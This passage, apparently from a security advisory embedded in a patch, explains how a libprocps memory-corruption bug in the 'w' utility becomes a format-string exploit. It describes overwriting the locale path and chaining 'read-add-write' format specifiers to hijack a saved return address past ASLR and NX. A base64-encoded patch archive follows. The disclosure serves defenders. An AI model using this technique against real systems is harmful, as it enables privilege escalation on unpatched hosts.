reduces the number + of available gadgets. + +Our second, working technique is derived from halfdog's fascinating +https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/ and +transforms libprocps's integer overflow and memory corruption into a +format-string exploit: + +- we overwrite the dirname pointer to "/usr/share/locale" (a member of + the struct binding malloc()ated at the very beginning of w's heap by + bindtextdomain()) with a pointer to "/tmp" -- we do not need to worry + about ASLR, because we arrange for file2strvec() to overwrite dirname + with a pointer to our command-line argument strings; alternatively, we + could overwrite the "procps-ng" string (malloc()ated at the beginning + of w's heap by textdomain()), but this would also overwrite the chunk + header of the struct PROCTAB, and would cause a crash in closeproc(); + +- we thereby control the translation strings returned by the *gettext() + functions and the _() macro (the overwritten dirname pointer is used + to construct the names of the translation files ".mo") and therefore + control two format-strings in w's main(): + +591 printf(_("%-*s TTY "), userlen, _("USER")); +... +595 printf(_(" LOGIN@ IDLE JCPU PCPU WHAT\n")); + +- we exploit the first format-string to create a pointer to a saved RIP + on the stack, and we write this pointer to the stack itself; + +- we use this pointer, and the second format-string, to overwrite the + saved RIP with the address of a useful libc gadget (we return into + popen() on Debian 9, and wordexp() on Fedora 27). + +However, unlike halfdog, we cannot defeat ASLR by simply dumping the +contents of the stack with a format-string, because we have not access +to the output of "w" (it is executed by another user, administrator, or +script). Instead, we implement Chris Evans's "read-add-write" primitive +https://scarybeastsecurity.blogspot.com/2016/11/0day-exploit-advancing-exploitation.html +("Trick #6: co-opting an addition primitive") with format-strings only. + +With the first format-string: + +- we "read" the LSW (Least Significant Word, 32 bits) of a stack pointer + that is located on the stack itself and hence accessible through the + format-string arguments -- for example, the argv pointer; + +- we "add" a distribution-specific constant to this LSW, to make it + point to a saved RIP on the stack -- for example, the saved RIP pushed + onto the stack by the call to printf_positional() in vfprintf(); + +- we "write" this modified LSW to the LSW of another stack pointer that + is also located on the stack itself and hence accessible through the + format-string arguments -- for example, the argv[0] pointer. + +With the second format-string: + +- we "read" the LSW of a libc pointer that is located on the stack and + hence accessible through the format-string arguments -- for example, + the pointer to __libc_start_main(); + +- we "add" a distribution-specific constant to this LSW, to make it + point to a useful libc gadget -- for example, popen() or wordexp(); + +- we "write" this modified LSW to the LSW of a saved RIP on the stack: + we use the pointer (to the saved RIP) created on the stack by the + first format-string. + +To implement the "read-add-write" primitive: + +- we "read" the LSW of a pointer (we load it into vfprintf's internal + character counter) through a variable-width specifier such as "%*R$x", + where R is the position (among the format-string arguments on the + stack) of the to-be-read pointer; + +- we "add" a constant A to this LSW through a constant-width specifier + such as "%Ax"; + +- we "write" this modified LSW to the LSW of another pointer through a + specifier such as "%W$n", where W is the position (among the format- + string arguments on the stack) of a pointer to the to-be-overwritten + pointer (for example, in our first format-string we overwrite the LSW + of the argv[0] pointer through the argv pointer, and in our second + format-string we overwrite the LSW of a saved RIP through the + overwritten argv[0] pointer); in summary: + + . if we want to "add" a constant to the LSW that we "read", we use a + simple format-string such as "%*R$x%Ax%W$n", where A is equal to the + constant that we want to add; + + . if we want to "subtract" a constant from the LSW that we "read", we + use a format-string such as "%*R$x%W$n%Ax%W$hn", where A is equal to + 65536 minus the constant that we want to subtract (the smaller the + constant, the higher the probability of success). + +This generic technique defeats NX, ASLR, PIE, SSP, and FORTIFY, but it +suffers from three major drawbacks: + +- it requires two different format-strings, because it must reset + vfprintf's internal character counter between the two "read-add-write" + primitives; + +- its probability of success is 1/4 (not a one-shot, but not a + brute-force either), because the probability of success of each + "read-add-write" primitive is 1/2 (the randomized LSW that is "read" + as an "int width" must be positive), and the stack is randomized + independently of the libc; + +- it outputs 2*1GB on average (2*2GB at most): this may be acceptable if + the target utility is executed by a script or daemon, but not if it is + executed manually by an administrator (terminal escape sequences may + be used to overcome this drawback, but we did not explore this + possibility yet). + +It is also possible to implement distribution-specific variants of this +generic technique: for example, we developed a Debian-specific version +of our "w" exploit that requires only one format-string, has an 11/12 +probability of success (nearly one-shot), and outputs only a few +kilobytes. This is left as an exercise for the interested reader. + + +======================================================================== +Acknowledgments +======================================================================== + +We thank Craig Small and the members of linux-distros@openwall and +security@kernel. + + +======================================================================== +Patches.tar.gz.b64 +======================================================================== + +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 